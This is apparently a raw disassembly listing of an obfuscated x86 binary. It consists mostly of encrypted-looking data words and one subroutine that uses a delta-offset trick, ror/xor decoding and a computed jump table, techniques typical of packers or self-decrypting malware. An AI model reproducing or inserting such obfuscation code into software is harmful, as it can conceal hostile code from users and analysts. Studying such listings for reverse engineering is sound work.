0D11B7A9Bh, 8AF55184h, 0AFE4109Eh dd 6FB0D15Ch, 2C066704h, 6BBD68C2h, 0AEDF00DFh, 109DB534h dd 0CC88D5FDh, 737D1C7Dh, 0BDE37DE9h, 2051E06Ch, 10993614h dd 4E0475FDh, 4F7151FBh, 0C1FF4EFEh, 8C01DEA8h, 168A3861h dd 83AC0B8Ah, 9884E288h, 0B0AE3627h, 0C5BBA312h, 0BDF65069h dd 0C146E06Ch, 0DE994767h, 4541A641h, 15000000h, 0E6C5BBA3h dd 0B53A94C9h, 273109Dh, 109DB488h, 1E7FCC51h, 93C20CD6h dd 109DB537h, 787DA00h, 9DB57CD6h, 0A1C04510h, 0B3107190h dd 0B4E56194h, 6FAE109Dh, 68C2FB65h, 83DF6BBDh, 29C4E37Dh dd 6A000000h, 250E0C2h, 20607EBAh, 3C0C9F83h, 93C22AB4h dd 109DB537h, 0C29BB726h, 0DF6BBD68h, 19D6D700h, 66FF743Ah dd 0E37D045Eh, 51E06CBDh, 99361420h, 475FD10h, 7151FB4Eh dd 0FF4EFE4Fh, 0CB1BA8C1h, 0EB8C25BDh, 5647A72h, 17B4D534h dd 8A468BE6h, 0D1F11416h, 0C5BBA377h, 0BDF65069h, 0C146E06Ch dd 0DE994767h, 4141A641h, 15000000h, 69C5BBA3h, 250E0C2h dd 0EE689DBAh, 0B7109DB4h, 0B4E96598h, 53B2109Dh, 0E071E16Fh dd 0C266C0A1h, 3793C2E5h, 109DB5h, 0BD89539Dh, 0D700DF6Bh dd 994685C2h, 0E17B45FDh, 20C4E37Dh, 6A000000h, 69C5BBA3h dd 0B53793C2h, 0B726109Dh, 0BD68C29Bh, 0C283DF6Bh, 0B51670E5h dd 0BEDF109Dh, 0BD3EE436h, 5351E06Ch, 775B780Eh, 0DA34A9E7h dd 0A3109DB4h, 0D3320362h, 2899CC09h, 19168EC0h, 8FDAD6F4h dd 0A94AC439h, 2C130A8Ah, 222F4FAh, 0C4A5C40Fh, 8A6376E7h dd 260C1074h, 6BAABB95h, 0B0810461h, 0B1113B8Eh, 3F0E3E8Fh dd 2A73BDCEh, 0C744AE5Eh, 2482CA1Bh, 72E3ABFEh, 89A66D18h dd 8CDDBCE1h, 76DE6B4Fh, 824A0054h, 51FF50h, 7929A2CCh dd 604764E8h, 3178B05h, 0D301CB23h, 0D381D0F2h, 879C0382h dd 57A991D3h, 3081D31Dh, 6DA0BF1Ch, 89A679F1h, 0D2915BBAh dd 0AF7h, 0E0C25B00h, 0D2330250h, 0BDDC860Ah, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 76768h, 243C8900h dd 0C781E789h, 4, 8704EF83h, 525C243Ch, 0C281E289h, 4 dd 8704EA83h, 895C2414h, 89512434h, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 240C895Ch, 5304B850h, 2D480609h, 0FFFFFFFFh dd 0EF4F932Dh, 58C689FFh, 240C8B54h, 4C481h, 89530000h dd 8BA52F3h, 1000000h, 5A1A89CAh, 240C8B5Bh, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 5E2434FFh, 0E904C483h, 0FFF9760Ch dd 24036B30h, 0B58A086Dh, 0B80225FAh, 61A0ACAh, 0E0FFC503h dd 673E0520h, 694BEB72h, 6644F9B6h, 698635AEh, 65D5F675h dd 6654255Dh, 38DAF9C9h, 0CC58D8Dh, 9D8B061Ah, 6131321h dd 1BBD8D89h, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 1F9DF3C3h, 0BE34C82Dh, 0DD85C78Dh dd 94061318h, 6A000059h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E87AC352h, 0Ch, 55A870D3h dd 0A2DE9EFBh, 2F8365E2h, 35099D2Bh, 0C7580613h, 13305585h dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 2631C300h, 0EE9775Bh, 70000000h dd 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 12E907h, 0B3DF0000h dd 0D179E85Ch, 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 0FE8h dd 0A3822500h, 95E2B26Fh, 5BCD9275h, 59C4A1D4h, 58C3B70Fh dd 0ED5B5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 196715C3h, 97B09758h, 2BD3A4D8h dd 1300D9BDh, 8995FF06h, 6A06131Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 52F9C356h dd 0F8CAF5E2h, 95FF006Ah, 6130DA9h, 0FEBC08Bh, 9EE0E601h dd 5EDD9155h, 1C31091h, 0E814031Bh, 0Ch, 0F70B07Ah, 5C080F9Ch dd 15E54DAFh, 2B58D38Bh, 131D1995h, 44C08106h, 9000072h dd 13059DBDh, 6806h, 0E2BA0000h, 5B7445B6h, 34FFD68Bh dd 2860F03h, 8B000000h, 0C68159FAh, 7CED85B0h, 6F8FE981h dd 83BE1E34h, 816E256Eh, 0DEE660C1h, 4FC2803Fh, 87DEF181h dd 5E92BA4h, 0E6000000h, 3F103D61h, 0F180C89h, 8D29D0B7h dd 613050Dh, 8104EB83h, 0FF8E48FBh, 0AF850FFFh, 0E9FFFFFFh dd 0Ch, 0EA998701h, 0E4D9DE77h, 4AEECC25h, 23E9h, 87417500h dd 0Dh, 7 dup(0) dd 4D1E9h, 4C0A5800h, 54FA4C6Eh, 4A005476h, 5BF5466Ch dd 4C08557Bh, 9BF03F6Eh, 82A8064Eh, 0A0822032h, 0BB9D3D0Bh dd 0B784222Ah, 0C1E96598h, 5FB216B7h, 1D6CBD03h, 1372C38Fh dd 52DFE372h, 2B7EA402h, 9B2E1021h, 8EEF59EEh, 0DA150631h dd 31F8A1FBh, 0C41638A7h, 0EA28BB8Ah, 7E10A151h, 9E98930Fh dd 58395C10h, 7F03587Ah, 435C5E3h, 70E5C2F1h, 109DD116h dd 0FFDFBEDFh, 73C286D9h, 51014Fh, 7929A2CCh, 5E4462E6h dd 193ABBCBh, 8FF643C6h, 0AF2E5FEEh, 28109E4Fh, 446611AAh dd 34B9BF4h, 32025A62h, 0D4A34171h, 37CDCDEBh, 1CA4553Ah dd 7305h, 0D1F9D600h, 449ECF83h, 0D109E3Dh, 89D874C5h dd 13426908h, 0C159F1CBh, 0C2F9636Dh, 6CFD4BE0h, 20B1A32Dh dd 70EC1D2Ch, 0E5109DB5h, 0E8A8D465h, 8AA341EAh, 198C03A5h dd 13DD0FF9h, 18Ch, 6DBDB200h, 0AEBF891Eh, 568AB6A9h, 0DDBC2212h dd 19A9ADBCh, 888146Fh, 0C7EC5AE6h, 0A0A9C867h, 0F64726D3h dd 7CCD83D4h, 6012A7EBh, 2280CEh, 0A13F9FADh, 55E470BDh dd 0DC6DE171h, 731F9C36h, 6A506EE6h, 2B1DB2D7h, 3D9AFB1Ah dd 0B56FEB1Ah, 0D538109Dh, 0E67A5C0Bh, 0F5684764h, 109DB499h dd 4A992362h, 0E2133423h, 109DB568h, 0B5992931h, 0C86F7D4h dd 0D5109DB5h, 6DDE28B0h, 41E8613Fh, 4FC9A3h, 0BD6D0000h dd 0F9902170h, 0B584E569h, 22243554h, 3B1FBC8Eh, 7594A5ADh dd 276BFC6Bh, 351E092h, 10A082A3h, 9587A42h, 87D8FA4Bh dd 0CA9BB506h, 521B2A4Bh, 4B1943B8h, 0F3A341E8h, 2Dh, 0E470BD47h dd 6ADE7155h, 61DAF8DBh, 923024B1h, 4DE0C238h, 53E3F5FFh dd 0BA1B6AFBh, 33109DB4h, 3AFA2297h, 0A2A341EAh, 1, 0CADDC2B8h dd 0A9AB529Bh, 15D902Fh, 0CA109DD8h, 0FD4F814Bh, 87DAFC4Dh dd 2E6074C5h, 0F753E59Dh, 221EEFD8h, 0A3013FF2h, 0E6FB3B19h dd 32403A0h, 9DD178D2h, 3117AC10h, 0AAD9E322h, 168ECDBBh dd 3618296Ch, 250AA9A3h, 520A0912h, 1E3C84C4h, 4A3A93Ch dd 3E58B223h, 0FC210A8Bh, 880475F4h, 0C10A8B3Dh, 0B08F38D1h dd 4514368Ah, 3E3995C4h, 83020A8Bh, 0C0C61739h, 361B52E9h dd 0E9C9A817h, 0C61376C7h, 7C5EEF8Eh, 0F0D263E9h, 7B5FEE5Ch dd 0EBD061E9h, 6E29A8DFh, 2E607499h, 0C842A89Dh, 582E7F33h dd 946D79ABh, 84234240h, 9A6D6E9Bh, 767E734Ch, 470CCC68h dd 0FAB45AACh, 8A000000h, 0B205BEA3h, 0A5D8F796h, 168EBC40h dd 0A1A5B4D9h, 0BB9F3C10h, 0B9972129h, 0A9064697h, 9764817Eh dd 0C60E04C4h, 0BA922327h, 0D465E3ABh, 0E1C18B1Eh, 0AD728B49h dd 57335Ah, 0A3070000h, 74E9C6BCh, 6F624BFAh, 1B6EBF03h dd 80E180C8h, 0B2230423h, 909DB558h, 118DFC21h, 0DA909DB5h dd 43B231BBh, 909DB4C7h, 53E26AFBh, 0E372E26Fh, 291CAD1Bh dd 0D8A01953h, 0EED4F38Fh, 2465F45Eh, 0B44EBF9Ch, 2DEF624Bh dd 4E96B205h, 835E7CA1h, 69h, 0C8BEA3DFh, 3D99CCEBh, 6109DB5h dd 0BC942387h, 77646CADh, 8EA0FB06h, 90A1E416h, 0D96E1BAEh dd 8AB00E6Fh, 0B5441537h, 0A8AA052h, 0D88AFF93h, 0A7E7C785h dd 9EB201C2h, 902F4ECFh, 74A46E5Dh, 79ECCB10h, 470921Dh dd 6581E1E6h, 4F3CA8Fh, 8F0E5B65h, 3499CBEh, 57F41E32h dd 912E5891h, 5A236F5Ch, 99395C0Ah, 0C8BEA33Fh, 0BA8D7AEBh dd 1B7A1687h, 97B5084Ah, 91C31238h, 96270947h, 882E19B6h dd 1F2F7F2Dh, 0E8CF4Eh, 6FFEC6E0h, 0E624441Eh, 0F0890914h dd 7E5DEF42h, 0F6470D5Ch, 0ADA53397h, 32183523h, 2628B0A2h dd 0A6A8B993h, 362A3B15h, 42933FBCh, 3386AC0Ah, 140D4819h dd 0B1000000h, 0FD4BE0C2h, 6FA32D6Ch, 7ED80D2Ah, 47109DB5h dd 0BD64FEC6h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 81E38953h, 4C3h dd 4EB8300h, 5C241C87h, 68241C89h, 23h, 52243C89h, 171263BAh dd 81D2F700h, 65726AC2h, 0DEB85055h, 2D7EFD6Dh, 227F7F61h dd 7A135425h, 2E0C131h, 4002E8C1h, 95CEF42Dh, 58C23194h dd 0FDF2814Ah, 8928B65Eh, 8B545AD3h, 0C483243Ch, 8685004h dd 58000000h, 1889F801h, 243C8B58h, 81E28952h, 4C2h, 4C28100h dd 87000000h, 0FF5C2414h, 835B2434h, 1E904C4h, 0A2FFF96Fh dd 730097A8h, 7783EDB6h, 0CAB84701h, 3061A11h, 38E0FFC5h dd 6111AA99h, 0DF08F880h, 0B71B3D63h, 251AA5C1h, 0BD19A9DBh dd 0DE111335h, 701FB8Eh, 0FE478414h, 552A9810h, 0F1707026h dd 7A61CAE9h, 6A462616h, 9B17F00Dh, 2FE7ACh, 5778112Ah dd 83256F6Eh, 0A15C005Dh, 1946F443h, 20C9765h, 4109AFE6h dd 0CD3EA6BEh, 882FB991h, 3D50BE08h, 0F14146ECh, 0D20E9621h dd 9853CCBEh, 4132BDF7h, 8B187740h, 1E7EF7D7h, 581E06E4h dd 8D435F8Bh, 1A13628Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 817369D3h, 0C85424CBh dd 89D58A46h, 131BBD8Dh, 0C1B9BF06h, 3CB015CBh, 18DD85C7h dd 5AAC0613h, 0BD890000h, 6131E55h, 305585C7h, 613h, 9D890000h dd 61305B5h, 2331B5FFh, 0FDB00613h, 1D8995FFh, 8B660613h dd 0FF006AF1h, 130DA995h, 0EBC08B06h, 7951407Eh, 97E0B5F8h dd 6220F408h, 905B895Ch, 0F6B98F1Ch, 28029682h, 0E46D4825h dd 93F72E69h, 6597B388h, 0C6439E66h, 0A2610537h, 8C6E94BBh dd 3AF40AC6h, 48F13338h, 0A4B75839h, 83402F90h, 3AA5E898h dd 0ACC090EFh, 0E2E6E384h, 0EA585681h, 0D8C1B440h, 0FB724F1Eh dd 0C2B7B6EDh, 0C5D1F2F4h, 0EC9BD655h, 21B27C78h, 0D9ED04E8h dd 0C6393E89h, 0B58EDDDh, 0F18BF256h, 7184CA50h, 8DC93409h dd 1A14548Dh, 7DCE8106h, 0F21C50Fh, 68Fh, 8DB58B00h, 8906130Ah dd 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 85C7C43Ch, 61318DDh, 6C20h, 5585C7F8h dd 61330h, 66000000h, 0B5FFF38Bh, 6132831h, 2BED8D89h dd 95FF0613h, 6131D89h, 6AF18B66h, 0A995FF00h, 8B06130Dh dd 1B2FEBC0h, 8A922084h, 8ECECD57h, 0C0AD5DF1h, 619A42E3h dd 22069AA9h, 0AD66B2ABh, 1795F45Bh, 0B222656h, 0FBE2D070h dd 0A20D7DFDh, 3B5748EFh, 8D8DE7DAh, 61A154Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 60C35343h, 288822A5h dd 0FA8B6660h, 13E9h, 644A4E00h, 0C1A087E2h, 3B6910Ch dd 0FFA06581h, 3A2D71E0h, 0BD8D8961h, 6A06131Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 32B8C357h, 914A1D17h, 0A8BC0BB8h, 0DD85C777h, 5C061318h dd 8100006Bh, 97E498CEh, 5585C766h, 61330h, 81000000h dd 23926BF0h, 5DB5FF6Ch, 0FF061312h, 131D8995h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 895278FCh, 13351D9Dh, 6A5F06h, 0DA995FFh, 0C08B0613h dd 75FF08EBh, 867D4C74h, 7E8FCB1h, 0B9000000h, 5D62D3h dd 0E7812AF9h, 78053F0Ah, 81FE8B5Eh, 752FC6h, 0BBCF8B00h dd 0 dd 0CA33E981h, 148B28ADh, 26E5801Eh, 6C8AC281h, 0BD892435h dd 6130A0Dh, 35A2F281h, 8D014477h, 61309DDh, 4996F281h dd 0BF0F69BDh, 0B58952CAh, 6130AF1h, 0F1E048Fh, 858BC9B7h dd 6130B61h, 8004EB83h, 0FB8179E4h, 0FFFF8B3Ch, 0FFB4850Fh dd 8D8DFFFFh, 61A16D3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0ACC35141h, 0B70FA3D8h, 0BD8D89C6h, 6A06131Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 5B4FC356h, 8D89C0AEh, 6131CD9h, 18DD85C7h dd 71CC0613h, 858B0000h, 613176Dh, 305585C7h, 613h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0BBA041C3h, 0AEB28392h, 0BD896039h, 61308C5h, 0A419D89h dd 89610613h, 1314E19Dh, 9B5FF06h, 6A061323h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0D15EC357h, 57B10B9h, 6D8F10EDh, 63EEEB81h, 95FF18F6h dd 6131D89h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 9DC35646h, 1EC58D29h, 6A0613h, 0DA995FFh, 0C08B0613h dd 56273FEBh, 81C7AAB6h, 0B95A5241h, 0AD5B68Bh, 8F7BA2A1h dd 97073D2Eh, 6A53A0A9h, 1A98357Ah, 9A5FECD0h, 84BB3DCh dd 24AFDDA8h, 6539EF19h, 4B1770A8h, 954C8C3Ch, 0DDD9593Fh dd 1E8FEB96h, 0E185C6F4h, 56061311h, 0C530DF68h, 0E9B5FFA9h dd 8D06131Eh, 167C3385h, 8DD0FF06h, 131A398Dh, 406A5106h dd 0D55B5FFh, 0B5FF0613h, 6130B5Dh, 0B5FFD0FFh, 6130D55h dd 0B5DB5FFh, 0CE80613h, 1E000000h, 0A81717DCh, 0A0572732h dd 5AC7DFF1h, 4EA835Ah, 2242CC1h, 22424C1h, 0F7241403h dd 68241Ch, 5F000000h, 813A0C8Bh, 0A0EA1CE9h, 4CF1817Fh dd 81103741h, 0B9805C1h, 48F5168h, 0F6EF813Ah, 812D3C26h dd 3C26F2C7h, 243C3B2Dh, 14850Fh, 19E90000h, 7E000000h dd 888B8BFCh, 0BE41B53Bh, 0CDC6D70h, 0B9E96922h, 19FFFFFFh dd 62714FF3h, 2A2D9D8Dh, 38B0613h, 840FC00Bh, 7, 5B8B038Bh dd 8B188904h, 15FE9C9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5EDAB2 proc near ; CODE XREF: sub_406890+12Bp ; sub_409BC0+1Cp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 61A17F1h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5EDC08 mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 1E330B14h xor eax, ebx sub eax, 4 mov [ebp+6131BBDh], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0B81EC512h xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+61318DDh], eax mov eax, [edx+14h] mov [ebp+6133055h], eax mov eax, [edx+18h] push ebx jmp loc_5EDBCC ; --------------------------------------------------------------------------- dd 13D1B5FFh, 0B9E90613h, 0FF000000h, 131A95B5h, 0AEE906h dd 0B5FF0000h, 6132831h, 0A3E9h, 5DB5FF00h, 0E9061300h dd 98h, 302DB5FFh, 8DE90613h, 0FF000000h, 1331EDB5h, 82E906h dd 0B5FF0000h, 613125Dh, 77E9h, 65B5FF00h, 0E906131Bh dd 6Ch, 1139B5FFh, 61E90613h, 0FF000000h, 130ED5B5h, 56E906h dd 0B5FF0000h, 6130B01h, 4BE9h, 1B5FF00h, 0E9061321h, 40h dd 2CA1B5FFh, 35E90613h, 0FF000000h, 1320B9B5h, 2AE906h dd 0B5FF0000h, 6132309h, 1FE9h, 31B5FF00h, 0E9061323h dd 14h ; --------------------------------------------------------------------------- loc_5EDBCC: ; CODE XREF: sub_5EDAB2+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+61A1852h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- dd 1D8995FFh, 8B5B0613h, 131BBD85h, 4583906h, 0F850Fh dd 6A530000h, 0A995FF01h, 5B06130Dh, 0FFFFE2E9h, 0C35A61FFh ; --------------------------------------------------------------------------- loc_5EDC08: ; CODE XREF: sub_5EDAB2+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5EDAB2 endp ; --------------------------------------------------------------------------- db 8Bh, 2 dup(85h) dd 8D061311h, 1A19408Dh, 1418906h, 0CE8C38Bh, 31000000h dd 4A6A4362h, 0B4F56CF8h, 812FA464h, 66EE8AEEh, 850F5A3Ch dd 2, 0C281D98Bh, 736Eh, 1C98B9h, 7E800h, 26E0000h, 0DC47DD90h dd 0EE8EEh, 69730000h, 922452D3h, 38EEEA06h, 4882A807h dd 12E9h, 212B4D00h, 0D76D4DA7h, 7CE4EA94h, 0BA0BFCFEh dd 5F3A4243h, 8B028B5Fh, 93C081DEh, 66519778h, 0C081D88Bh dd 49029B89h, 1420C081h, 51601C5Ch, 58D0B70Fh, 14E9h, 6FE9D500h dd 0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h, 8B5061DDh dd 81028FF0h, 3C1749EAh, 14E866h, 0F18C0000h, 0D4F58C13h dd 5EA12E2Bh, 0D2C0368Dh, 0F75879F1h, 0DA8AD58Dh, 45C2815Bh dd 0F663C17h, 681h, 0AEDE8100h, 814057D1h, 1E9h, 1A850F00h dd 0BB000000h, 48B125D5h, 2CE9h, 0F4D1F300h, 9F10DD5Bh dd 424665B7h, 4761105Fh, 0BE950h, 7B800000h, 0B31F8315h dd 4576401Ch, 0FF53E982h, 0EC67FFFFh, 9D39F7A4h, 0D6E9DDh dd 72980000h, 9CD744D7h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 7 dup(0) dd 14FEE9h, 1CF56800h, 9E9061Ah, 68FFF966h, 61A1DE1h, 0F965FFE9h dd 1EE568FFh, 0F5E9061Ah, 68FFF965h, 61A2004h, 0F965EBE9h dd 20A068FFh, 0E1E9061Ah, 68FFF965h, 61A215Eh, 0F965D7E9h dd 221F68FFh, 0CDE9061Ah, 68FFF965h, 61A22D2h, 0F965C3E9h dd 237668FFh, 0B9E9061Ah, 68FFF965h, 61A24CFh, 0F965AFE9h dd 25A568FFh, 0A5E9061Ah, 68FFF965h, 61A26D4h, 0F9659BE9h dd 27DA68FFh, 91E9061Ah, 68FFF965h, 61A295Dh, 0F96587E9h dd 2A9968FFh, 7DE9061Ah, 68FFF965h, 61A2CC1h, 0F96573E9h dd 2DB168FFh, 69E9061Ah, 0B6FFF965h, 0AA902E28h, 0B2983618h dd 0AC8E2C1Eh, 0B395351Bh, 9D902E26h, 68EC7992h, 7AD8684Ah dd 67E1765Ch, 7CD06147h, 1B4A955Eh, 16B7CFBFh, 0BD2D1188h dd 6D51E06Ch, 565270DCh, 295C7B0Bh, 168EA2CCh, 0D0213055h dd 0A8A9F72h, 0A0CC3DC9h, 5AAD0CD0h, 3C78h, 0E0C2DE00h dd 33A2014Fh, 109DB4D7h, 47737DA0h, 16476422h, 168E9837h dd 45B48508h, 0A8A87C5h, 0ED203F1Ch, 0A8A8871h, 7711DB3Ah dd 0DF6D5502h, 23F16973h, 8B5AAD39h, 0B5h, 0E06CBDAFh dd 74E06D51h, 0FC50E1E5h, 1B69FBDFh, 6C4F14C5h, 0BD0766BAh dd 0F0992C2Eh, 2E8CED5Bh, 9E9749BFh, 2C20B110h, 3319AC8Eh dd 0C842B394h, 91109E95h, 725C40Ch, 0D607A4E2h, 168F9BF3h dd 8925133Ch, 153DBDDFh, 0DFFF1ECBh, 0DFFC8ADFh, 7601ABAEh dd 0A2018410h, 83233180h, 1144109Dh, 79FD0B2Fh, 98B89554h dd 0B2000012h, 0AE943224h, 0AE94321Ch, 0B092301Ah, 0AF91311Fh dd 0A1943222h, 84D05D8Eh, 9EB40426h, 83C51A40h, 0A0ACFD23h dd 0E7163902h, 16B7D16Bh, 0C281DD34h, 0B51670E5h, 0BEDF109Dh dd 0F9952436h, 0D7817883h, 4C6A0BF3h, 5979D366h, 0C8BEA3FFh dd 989B7AEBh, 0F6DC168Eh, 86E3ED67h, 47C73607h, 9E0A8A89h dd 0F36F9EC1h, 0BC0A8A88h, 84F58F59h, 0AD3E9858h, 0B5405Ah dd 0BD160000h, 0C18D1D6Ch, 8F1F03A0h, 656FAEBFh, 0DF75C406h dd 0B089FF8Eh, 60F1109Dh, 59ECCEECh, 3D6562F3h, 0FC3A61EDh dd 5C1A082Ch, 0A5BCF8C0h, 0AE93C2E1h, 87168E6Bh, 517EA906h dd 458CC7A1h, 6F508E56h, 89118748h, 0A62E7CA8h, 98374F9Ah dd 1D2C1EB2h, 76E7F4FCh, 10742384h, 97BB187Dh, 85AD0A4Ah dd 90CE1632h, 44391BAAh, 79FB3B66h, 0AC95B077h, 9E000011h dd 42684610h, 5A805EF0h, 44664406h, 5B7D5DF3h, 3568460Eh dd 104491FAh, 124090B2h, 0F398EB4h, 143889AFh, 33A2ADB6h dd 16B7D1D7h, 0BDD589A0h, 0E3C7E470h, 2869F850h, 3D90B2A0h dd 0BD11AF0Fh, 7251E06Ch, 0B4A62055h, 6B6F109Dh, 0CC1475DDh dd 7057378Ah, 5B14DE04h, 900A7B29h, 59109DD7h, 0DA6BDF71h dd 1BBBDABBh, 74E9A335h, 109DD81Ah, 0FC4CDFE3h, 694D2C6Dh dd 0BA1978DCh, 0FA474898h, 0EB8A0B5Ah, 5D4582E1h, 63757FCBh dd 725C7AD2h, 65214861h, 0FD3E6946h, 0BBA313EDh, 0CB6A9923h dd 0DC168EBAh, 56B756B9h, 78E10489h, 47B61571h, 18F17DAAh dd 6D118CB3h, 5553C6FBh, 4B2A4B07h, 20A3BEFAh, 1372C391h dd 0D3205572h, 0B012DB11h, 151398Ah, 94890F9Ah, 0F0112041h dd 0BD1A7BE8h, 0D924B59Ah, 3B418BDCh, 3E0E9FB1h, 489BBFA0h dd 8D03100h, 0A4D973C6h, 7C5DA090h, 0A8431ECDh, 0A2000010h dd 3E644214h, 5E4462ECh, 2280CAh, 1F01A1AFh, 0B1E4C292h dd 94C00D7Eh, 8EC41436h, 93B50A30h, 90BC0D33h, 0B7262932h dd 16B7D35Bh, 0BD51ED24h, 5351E06Ch, 745B780Eh, 6C24A1ECh dd 75626A49h, 8F68F900h, 1BBBDA16h, 0E3C0C61Bh, 7C526772h dd 3C0D9010h, 78524DCDh, 0D16AA404h, 9B77EDABh, 3C5550h dd 0A3E90000h, 0CCEBC8BEh, 814287E3h, 0B903B9CFh, 8F8E574Ah dd 2E8D1016h, 3191B70Ch, 8AF846C2h, 212B7E0Ah, 3C0C9F81h dd 0BC0C2E2Dh, 10134E96h, 2C000010h, 0F880DA0Bh, 0C4490A8Ah dd 0E0C262FCh, 0CAF6FE4Ch, 95C8E79Fh, 1687B056h, 85017453h dd 4E0A8399h, 256805CFh, 3B11A486h, 2824B59Bh, 0E81D3A19h dd 0A83996Eh, 0B20ED637h, 0CFF0CFB7h, 62F35BEBh, 0F5518423h dd 0BE0A8398h, 10F6955Fh, 0F1106D93h, 9A2B0FACh, 9B2E14B2h dd 9B3012B1h, 737D9CADh, 0D5B1B8F4h, 5E4A87F6h, 1F030A5Ah dd 1170C191h, 99351AC7h, 0E7546F79h, 687AEF8Eh, 9173DD7Bh dd 0F89FFDAh, 75C10000h, 4FDFC1E1h, 67F9DFFFh, 4EDDC3E3h dd 2F7EA402h, 99968525h, 4F6FE574h, 5777DB69h, 4C6ADE71h dd 5979D366h, 0C41E4F90h, 8D16B7D4h, 12702A14h, 53109DB5h dd 4E70E06Fh, 308C54FEh, 14368A39h, 0E5745675h, 578656Fh dd 1687AE05h, 3218B7D6h, 300DAD9Fh, 9A84DE0Fh, 0C84D0A83h dd 0D17BCE00h, 8B3D2480h, 839A005Ah, 4AC4390Ah, 130A839Ah dd 0CB5D65F2h, 607F1E7Fh, 748B242Dh, 23527510h, 47087A7h dd 3B892D70h, 0FDC74617h, 30382D70h, 4579F7A4h, 0EEDABA6h dd 0D15D0000h, 0B3032585h, 0C3153B9Bh, 0B2012787h, 0CB1A409Eh dd 35FA2989h, 0EBCB89D8h, 0FBDB77C5h, 0E8C682D5h, 0FDDD6FC2h dd 207AEBF4h, 0E916B7D5h, 6CBD8EB0h, 4EDFC3E0h, 5377F6FEh dd 14FB4A02h, 19D70576h, 0FBA341E6h, 0A7B76DD4h, 0AC340BAAh dd 8F275h, 0E0C2C900h, 0C9F5FF4Dh, 94C9E6A0h, 1687AEC1h dd 0F4C9C5EAh, 86DC4C3Fh, 4F6CB13Eh, 6A72DA6Bh, 9AF4456Dh dd 8365EF6Bh, 3455B80Ah, 2B21B496h, 3711A68Ch, 8EDDE726h dd 164F6651h, 4CEC8EB5h, 0A8850584h, 0C2A70A83h, 8F76E7C4h dd 7010749Ah, 97A4FE6Fh, 56D50470h, 0F1F6AE80h, 630283D0h dd 0F76FC8EEh, 67620979h, 0E2Fh, 2787CF1Bh, 3D9DB101h dd 2181C91Bh, 2A0B0FFh, 0E3C39120h, 0BF0E7FB0h, 0C5133595h dd 0B80B2D8Dh, 0BD103290h, 3D222F8Fh, 0B7D64EC8h, 60021716h dd 51E06CBDh, 0E170DC6Dh, 87D5FD1Ah, 0B71B7ACBh, 0F4152424h dd 329A2ECh, 0A341E635h, 8369Dh, 3E213E00h, 9DBD53CFh dd 88F91C10h, 109DBD0Eh, 0B42EB6D7h, 9DB51270h, 592D3410h dd 0E5755D7Ah, 2FB9D869h, 87AF3DD0h, 0B8177616h, 0FB4A3F92h dd 0E8890859h, 76C5EDCAh, 6DC012DAh, 3CD700DFh, 0CBEBE0CDh dd 0E0D8381Dh, 83E2E1ECh, 0DBE8311Ch, 0E4EC42DAh, 44422785h dd 0D1624867h, 2F16757Fh, 10107470h, 89A4D88Dh, 1AD179F7h dd 0D6E3Fh, 0C88EDC00h, 0D876C8EAh, 0C684D8FAh, 0DF71C2E8h dd 0C88CD9FFh, 1774BBEAh, 62C8ACAh, 1C3E9CB6h, 0FF2181C7h dd 33409EAEh, 0D75DB92Ch, 0F32616B7h, 0E06CBD4Fh, 